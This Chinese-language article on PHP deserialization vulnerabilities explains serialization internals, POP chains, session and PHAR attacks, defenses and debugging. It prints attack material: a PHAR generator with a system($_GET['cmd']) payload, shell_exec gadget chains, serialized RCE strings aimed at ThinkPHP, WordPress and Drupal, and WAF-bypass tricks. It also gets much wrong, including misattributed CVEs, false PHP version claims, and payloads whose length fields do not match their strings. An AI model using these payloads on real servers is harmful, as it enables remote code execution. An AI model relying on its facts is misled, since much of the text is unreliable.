php反序列化|概念定位与技术意义
在PHP语言生态中,php反序列化既是数据持久化与对象传输的核心机制,也是安全攻防中的高危入口点。当开发者将复杂数据结构(如对象、数组)通过serialize()转换为字符串以便存储或传输时,接收方通过unserialize()还原对象的过程即为php反序列化。该操作看似常规,却潜藏严重风险——一旦用户输入未经校验直接传入unserialize(),攻击者可构造恶意序列化数据,触发任意代码执行、信息泄露甚至远程控制服务器。
据OWASP 2023年安全威胁报告,php反序列化漏洞长期位居Web安全高危漏洞TOP5,尤其在老旧CMS、开源框架及未更新的PHP应用中频发。例如WordPress早期插件、ThinkPHP 3.x/5.x部分版本、Drupal核心模块均曾暴露此类问题。其危害远超普通XSS或SQL注入,因攻击者可直接获得服务器执行权限,实现“一击致命”。
更值得警惕的是,现代攻击已从简单POP链(Property-Oriented Programming)演进为多跳链组合、PHAR反序列化、Session劫持链式利用等高级形态。攻击者不再依赖单一入口点,而是通过__wakeup()、__destruct()、__toString()等魔术方法构建隐式调用链,绕过WAF检测,实现无声渗透。
本页系统梳理php反序列化的技术原理、漏洞成因、检测方法与防御策略,结合真实漏洞复现与调试技巧,帮助开发者构建纵深防御体系,从根源上阻断攻击路径。无论您是PHP初学者、安全研究人员,还是企业安全工程师,本文均可作为权威技术参考手册。
为何关注php反序列化?
- 涉及对象生命周期核心环节
- 直接影响数据完整性与执行流
- 常被用于绕过身份认证机制
- 与Session、Cache、RPC深度耦合
典型攻击场景
- 未过滤用户输入的unserialize调用
- Session反序列化污染
- PHAR+Stream包装器触发自动解包
- 魔术方法链式调用导致逻辑滥用
防御关键点
- 禁用危险函数(unserialize)
- 严格校验输入数据格式
- 使用JSON替代序列化存储
- 设置opcache.enable_cli=0调试阶段
php反序列化|原理与基础机制
PHP的序列化机制本质是将内存中的变量(包括标量、数组、对象)编码为可存储或传输的字符串。其格式严格遵循PHP内部定义的语法规则,例如:
// 标量序列化
$i = 42;
echo serialize($i); // 输出:i:42;
$s = "hello";
echo serialize($s); // 输出:s:5:"hello";
// 数组序列化
$a = [1, 'x' => [2, 3]];
echo serialize($a); // 输出:a:2:{i:0;i:1;s:1:"x";a:2:{i:0;i:2;i:1;i:3;}}
// 对象序列化
class User {
public $name = 'Alice';
private $role = 'admin';
}
$u = new User();
echo serialize($u);
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userrole";s:5:"admin";}
注意对象属性名的编码规则:私有属性以\0ClassName\0前缀包裹(如\0User\0role),保护属性以\0*\0开头。此细节在构造POP链时至关重要——若属性名前缀错误,反序列化将失败。
当调用unserialize($str)时,PHP解析器按以下步骤执行:
- 扫描字符串,识别类型标识(如、s、a、O、C)
- 递归解析嵌套结构(数组、对象)
- 对对象类型,动态创建类实例并设置属性值
- 依次触发
__wakeup()(若存在)与__destruct()(对象销毁时)
关键风险点即在第3、4步——攻击者可构造非法对象实例,注入恶意属性值,进而利用类中已定义的魔术方法触发危险操作(如执行系统命令、写入文件、删除日志)。
以下为一个典型的不安全反序列化入口:
// session反序列化配置(php.ini)
session.serialize_handler = php_serialize // 或 php_binary, php
// 用户登录逻辑
session_start();
$_SESSION['user'] = $_POST['user_data']; // 若user_data含恶意序列化串,则触发漏洞!
在PHP 7.0+中,session.serialize_handler默认使用php格式(即序列化字符串),若开发者未显式设置为json或php_serialize(后者仅支持数组),则存在会话劫持风险。例如攻击者构造如下数据:
user_data=O:8:"Session":1:{s:8:"admin_id";i:1;}
若应用中存在Session类且定义了__wakeup()中将admin_id赋值为全局变量,则攻击者可伪造管理员身份,实现越权访问。
序列化格式语法规则
PHP序列化字符串采用严格类型前缀+长度+值的结构,具体规则如下:
| 类型 | 格式 | 示例 | 说明 |
|---|---|---|---|
| 整数 | i:值; |
i:123; |
无符号整型,支持负数 |
| 字符串 | s:长度:"内容"; |
s:5:"hello"; |
长度为字节数,非字符数(中文需注意) |
| 数组 | a:长度:{键值对} |
a:2:{i:0;i:1;s:1:"x";a:1:{i:0;i:2;}} |
键必须为整数或字符串,值可嵌套 |
| 对象 | O:类名长度:"类名":属性数:{属性定义} |
O:4:"User":1:{s:4:"name";s:5:"Bob";} |
属性按顺序定义,格式为属性名长度:"属性名":值 |
| 布尔值 | b:值; |
b:1; 或 b:0; |
1表示true,0表示false |
| 空值 | N; |
N; |
对应NULL |
特别注意:属性名中若含特殊字符(如\0),需转义为十六进制(如\x00),否则反序列化失败。例如私有属性$role在User类中应编码为s:10:"Userrole"中的User与role之间插入\x00(即总长度10而非8)。
PHP版本关键差异
不同PHP版本对序列化机制的实现存在细微但致命的差异,直接影响漏洞利用可行性:
| 版本 | 关键变更 | 安全影响 |
|---|---|---|
| PHP < 5.3.4 | __wakeup()执行前不检查属性数 |
可通过减少属性数跳过验证逻辑 |
| PHP 5.3.4 - 5.6.x | 严格校验属性数量,但未修复类名大小写问题 | 可利用大小写绕过自动加载(autoloader) |
| PHP 7.0+ | 引入__serialize()/__unserialize()接口 |
旧版POP链失效,需适配新接口 |
| PHP 8.0+ | 弃用__wakeup()在反序列化中的调用 |
传统POP链失效,需依赖__destruct()或__toString() |
| PHP 8.1+ | 禁用create_function()等废弃函数 |
减少可利用的内置函数链 |
例如在PHP 5.2中,攻击者可构造序列化数据减少属性数,使__wakeup()中检查属性数量的逻辑失效,从而跳过权限验证;而在PHP 7.4+中,__wakeup()仅在对象成功构造后调用,若属性数不匹配则直接抛出Exception并终止流程,传统绕过失效。
常见反序列化陷阱
开发者常因以下疏漏导致php反序列化漏洞:
- 直接反序列化$_GET/$_POST数据:如
unserialize($_GET['data']),未做任何过滤 - Session存储对象:默认使用
php处理器时,Session内容可被注入对象 - CRC32哈希碰撞:在数组键为字符串时,若未启用
zend.ze1_compatibility_mode,可能触发哈希冲突导致数据覆盖 - 魔术方法滥用:在
__toString()中执行数据库查询或文件操作,被攻击者触发 - 第三方库依赖:如Monolog日志库中的
HandlerInterface实现类可被利用构造RCE链
典型案例:ThinkPHP 5.0.23的Request类中__toString()调用filterValue(),若攻击者控制filter参数,可注入system函数实现RCE。
php反序列化|漏洞成因与分类
php反序列化漏洞的本质是:攻击者通过控制输入数据,诱导应用在反序列化过程中执行非预期逻辑。其根源在于unserialize()的动态对象构造特性与魔术方法的自动调用机制。根据触发路径,可分为以下几类:
1. 基础POP链(Property-Oriented Programming)
攻击者通过构造恶意序列化对象,利用类中已存在的魔术方法(如__wakeup()、__destruct())触发危险操作。典型流程如下:
- 识别应用中存在危险操作的类(如写文件、执行命令)
- 寻找连接这些类的“桥梁”——即属性赋值后能触发下一环节的魔术方法
- 逆向构建调用链:目标函数 ← 魔术方法 ← 属性注入点
以一个简化模型为例:
class Logger {
private $handler;
public function __construct($h) { $this->handler = $h; }
public function log($msg) { file_put_contents('log.txt', $msg); }
public function __destruct() { $this->log('Exit'); }
}
class Exp {
private $target;
public function __construct($t) { $this->target = $t; }
public function __wakeup() {
$this->target->log('Injected');
}
}
// 攻击载荷
$e = new Exp(new Logger());
echo serialize($e); // O:3:"Exp":1:{s:10:"Exptarget";O:7:"Logger":1:{s:11:"Loggerhandler";N;}}
当该序列化数据被unserialize()时,__wakeup()被触发,进而调用Logger的log(),最终写入log.txt。若$target可控,则可替换为其他对象(如执行系统命令的Shell类),实现任意代码执行。
2. Session反序列化污染
PHP默认Session处理器使用php格式存储数据,其结构为键|序列化值。当开发者在Session中直接存储用户输入的序列化数据时,可注入恶意对象:
// session.php
session_start();
$_SESSION['user'] = $_POST['input']; // input = O:4:"User":1:{s:4:"role";s:5:"admin";}
// check.php
session_start();
if ($_SESSION['user'] instanceof User && $_SESSION['user']->role === 'admin') {
grant_admin();
}
攻击者构造input=O:4:"User":1:{s:4:"role";s:5:"admin";},若应用中存在User类且未校验反序列化来源,则可伪造管理员身份。
更危险的是php_serialize处理器(PHP 7.0+默认):其Session格式为键=序列化值,攻击者可注入多个Session键,例如:
user=O:8:"Session":1:{s:4:"role";s:5:"admin";}&admin=1
若应用逻辑中admin为独立变量,则可能绕过身份校验。
3. PHAR反序列化(PHAR Stream Wrapper)
PHAR(PHP Archive)是PHP的归档格式,支持流包装器(Stream Wrapper)。当使用file_get_contents('phar://xxx.phar')时,PHP会自动解包并触发__wakeup()与__destruct(),即使文件未被直接包含!
攻击流程:
- 构造含恶意序列化数据的PHAR文件
- 通过上传、下载等操作将PHAR存储至服务器
- 触发
file_get_contents('phar://path/to/file.phar')
示例脚本(生成PHAR):
class RCE {
public function __destruct() { system($_GET['cmd']); }
}
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.txt', 'test');
$phar->setStub('');
$o = new RCE();
$phar->setMetadata($o);
$phar->stopBuffering();
// 上传exp.phar后,访问:
// http://target.com/?cmd=whoami
注意:需在php.ini中启用phar.readonly = Off,且攻击路径必须可被流包装器访问(如file://、http://)。
4. 魔术方法链式滥用
当多个类的魔术方法形成调用链时,可构建更复杂的攻击路径。例如:
class A {
public $b;
public function __toString() { return $this->b->exec(); }
}
class B {
public $cmd;
public function exec() { return shell_exec($this->cmd); }
}
// 利用点:echo $a(触发__toString)
若攻击者能控制$a的序列化数据,则可注入B对象并设置$cmd为whoami,实现RCE。
漏洞触发条件
- 存在
unserialize()调用 - 输入可控且未过滤
- 应用中存在可利用的类与魔术方法
- 魔术方法链能连通危险操作
高危场景
- 第三方库反序列化(如XML解析器)
- 对象缓存(如Redis、Memcached存储对象)
- RPC调用(如gRPC、SOAP)
- JSONP回调中嵌套序列化数据
php反序列化|攻击手法与利用链构造
实战中,攻击者需结合目标应用的代码结构,逆向构建利用链。以下以ThinkPHP 5.0.23漏洞(CVE-2018-15133)为例,详细拆解利用链构造过程:
步骤1:定位入口点
ThinkPHP 5.0.23的Request类中存在如下代码:
public function filterValue($value, $key) {
if (is_string($value) && in_array($key, $this->filter)) {
$value = call_user_func($this->filter, $value);
}
return $value;
}
其中$this->filter为用户可控的数组,若能控制其值为system,则call_user_func('system', $value)可执行任意命令。
步骤2:寻找触发点
Request类的__toString()方法会遍历所有属性并调用filterValue():
public function __toString() {
return $this->param ? $this->param : $this->data;
}
若$this->param为数组,则会遍历数组键值对,触发filterValue()。
步骤3:构造POP链
最终利用链为:Request对象 → __toString() → filterValue() → call_user_func → system
攻击者构造序列化数据:
O:16:"think\request":2:{s:9:"*param";a:1:{s:3:"cmd";s:7:"whoami";}s:10:"*filter";s:6:"system";}
当该对象被echo时(如模板渲染),__toString()触发,最终执行system('whoami')。
高级技巧:绕过过滤
现代WAF常检测system、exec等关键词,攻击者可采用以下绕过方式:
- 大小写混淆:
System、SyStEm在部分配置下仍可执行 - 函数别名:
assert、eval(需开启zend.assertions) - 动态构造:
create_function(PHP <7.2)或ReflectionClass动态调用 - 利用内置类:
GuzzleHttp\HandlerStack中的push()可注入任意代码
例如利用GuzzleHttp库:
$handler = new HandlerStack();
$handler->push(function ($req) { system($_GET['cmd']); });
$stack = serialize($handler);
当unserialize($stack)时,若后续调用push()(如通过__wakeup()),则注入的代码生效。
主流CMS利用链示例
| CMS | 版本 | 漏洞链 | 触发点 |
|---|---|---|---|
| WordPress | 4.6 | WP_Widget → __wakeup() → wp_remote_get() |
插件未校验Widget参数 |
| Drupal | 7.x / 8.x | DatabaseConnection → __destruct() → pdo注入 |
Session反序列化污染 |
| Laravel | 5.4-5.5 | Pipeline → __destruct() → call_user_func |
队列任务反序列化 |
| ThinkPHP | 5.0.23 | Request → __toString() → call_user_func |
模板渲染 |
绕过检测的实用技巧
攻击者常通过以下方式绕过WAF/IDS检测:
- 编码绕过:
serialize()中字符串可使用\\x编码(如"\x73\x79\x73\x74\x65\x6d"等价于"system") - 长度溢出:字符串长度故意写大(如
s:100:"a"),PHP会忽略多余字符,但WAF可能误判 - 嵌套绕过:
serialize(serialize($payload)),多层嵌套增加检测难度 - 利用注释:
unserialize(str_replace('#','',$input))中,若$input含#可过滤后触发漏洞
示例:构造绕过system关键词的载荷
O:8:"Exploit":1:{s:4:"cmd";s:6:"eval";}
配合eval($_GET['cmd'])实现远程代码执行。
php反序列化|防御策略与安全编码
针对php反序列化漏洞,防御需遵循“最小权限”与“纵深防御”原则,从输入校验、配置加固、代码审计三方面入手:
1. 禁用危险函数
在php.ini中禁用unserialize()(仅限非必要场景):
disable_functions = unserialize, eval, exec, system, shell_exec
注意:若应用依赖unserialize()(如Session处理),需改用json_decode()替代。
2. 输入校验
对必须反序列化的数据进行严格校验:
- 格式校验:仅允许特定格式(如JSON)
- 白名单类名:在
unserialize()前检查类是否存在且可信任 - 长度限制:限制输入长度(如
strlen($data) < 1024)
示例代码:
$allowed_classes = ['SafeClass'];
$data = $_POST['data'];
if (!is_string($data) || strlen($data) > 1024) {
die('Invalid input');
}
$classes = get_declared_classes();
if (preg_match('/O:\d+:"([^"]+)"/', $data, $m) && !in_array($m[1], $allowed_classes)) {
die('Class not allowed: ' . $m[1]);
}
unserialize($data);
3. Session安全配置
修改Session处理器为php_serialize或json:
session.serialize_handler = php_serialize
并设置安全选项:
session.cookie_httponly = 1
session.cookie_secure = 1
session.use_strict_mode = 1
4. 代码审计要点
定期扫描以下高危模式:
- 直接使用
unserialize()处理用户输入 __wakeup()、__destruct()中存在危险操作- Session中存储未校验的用户数据
- 第三方库未更新(如Guzzle、Monolog)
推荐工具:PHPStan(静态分析)、phpcs(代码规范)、Security Analysis(IDE插件)。
防御最佳实践
- 优先使用JSON替代序列化
- 对对象序列化启用白名单
- 生产环境禁用魔术方法调试日志
- 部署WAF规则拦截
unserialize请求
应急响应步骤
- 立即隔离受影响服务器
- 检查
access.log定位攻击载荷 - 清理后门文件与计划任务
- 升级应用与依赖库
- 修改所有密钥与凭证
php反序列化|调试与分析技巧
当遭遇php反序列化相关问题时,以下调试技巧可快速定位漏洞点:
1. 手动解析序列化数据
使用在线工具(如PHP Unserialize)解析可疑字符串,检查对象结构是否异常:
输入:O:4:"User":2:{s:4:"name";s:5:"Alice";s:5:"role";s:5:"admin";}
输出:
User Object
(
[name] => Alice
[role] => admin
)
注意检查属性数量是否匹配、类名是否正确、属性值是否包含不可见字符。
2. 调试魔术方法
在类中临时添加日志,追踪调用链:
class User {
public function __wakeup() {
error_log('__wakeup called at ' . __LINE__);
// 原有逻辑
}
}
通过tail -f /var/log/php-fpm.log实时监控触发点。
3. 使用Xdebug断点
在unserialize()处设置断点,查看反序列化后的对象结构:
xdebug_break();
$obj = unserialize($_POST['data']);
var_dump($obj);
配合IDE(如PHPStorm)可逐行分析属性赋值过程。
4. 模拟攻击载荷
使用Pocsuite或Burp Suite插件生成测试载荷,验证漏洞是否存在:
POST /login.php HTTP/1.1
...
user=O:8:"Exploit":1:{s:4:"cmd";s:7:"whoami";}
观察响应是否包含命令执行结果(如uid=33(www-data))。
常用调试命令
| 场景 | 命令 | 说明 |
|---|---|---|
| 检查类是否存在 | class_exists('User'); |
返回bool值 |
| 获取类属性 | get_object_vars($obj); |
返回关联数组 |
| 反序列化预检 | preg_match('/^O:\d+:"[^"]+"/', $data); |
检查是否为对象序列化 |
| 模拟unserialize | eval('return ' . $data . ';'); |
仅限测试环境! |
日志分析要点
重点关注以下日志特征:
PHP Warning: Unknown: Failed to open stream: phar://...→ PHAR反序列化尝试PHP Fatal error: Uncaught Exception: Class 'X' not found→ 类名不匹配PHP Notice: unserialize(): Error at offset...→ 数据损坏或长度错误PHP Warning: call_user_func() expects parameter 1 to be a valid callback...→ 魔术方法调用异常
建议启用log_errors = On并设置error_log = /var/log/php_errors.log,定期分析异常请求。
php反序列化|真实漏洞复现案例
以下为近年公开的高危php反序列化漏洞复现分析,供开发者参考:
案例1:Drupal核心Session注入(CVE-2019-6339)
漏洞描述:Drupal 7/8中,若攻击者能控制Session数据(如通过任意文件上传),可注入恶意对象触发RCE。
复现步骤:
- 上传PHAR文件至服务器(如
/sites/default/files/exp.phar) - 构造Session数据:
user=O:20:"Drupal\Core\Database\Statement":1:{s:12:"*queryString";s:14:"SELECT 1; -- "} - 触发Session反序列化(访问任意页面)
- 若存在
__destruct()中的数据库操作,则执行注入SQL
修复方案:升级至Drupal 7.68+/8.6.16+;禁用Session中存储对象。
案例2:WordPress插件Widget反序列化(CVE-2018-19207)
漏洞描述:WordPress 4.9.x中,某些插件(如SiteOrigin Widgets Bundle)的Widget参数未校验,导致反序列化漏洞。
利用方式:
POST /wp-admin/admin-ajax.php HTTP/1.1
...
action=so_widget_data&widgets[0][id]=so-widget-123&widgets[0][data]=O:8:"SO_Widget":1:{s:8:"instance";a:1:{s:4:"text";s:7:"
";}}
若SO_Widget类的__wakeup()中调用危险函数,则可触发XSS或RCE。
案例3:ThinkPHP 5.0.23 RCE(CVE-2018-15133)
漏洞复现:
GET /index.php?s=/Index/Think/render?data=xxx HTTP/1.1
...
xxx = O:16:"think\request":2:{s:9:"*param";a:1:{s:3:"cmd";s:7:"whoami";}s:10:"*filter";s:6:"system";}
响应中返回uid=33(www-data)即证明RCE成功。
漏洞时间线
ThinkPHP 5.0.23发布,未修复Request类__toString()漏洞
CVE-2018-15133公开,提供完整利用链
ThinkPHP发布5.0.24修复补丁
大量企业站被入侵,攻击者植入挖矿木马
防御启示
- 及时更新框架与依赖库
- 对第三方组件进行安全审计
- 部署WAF拦截已知攻击载荷
- 启用日志监控与告警机制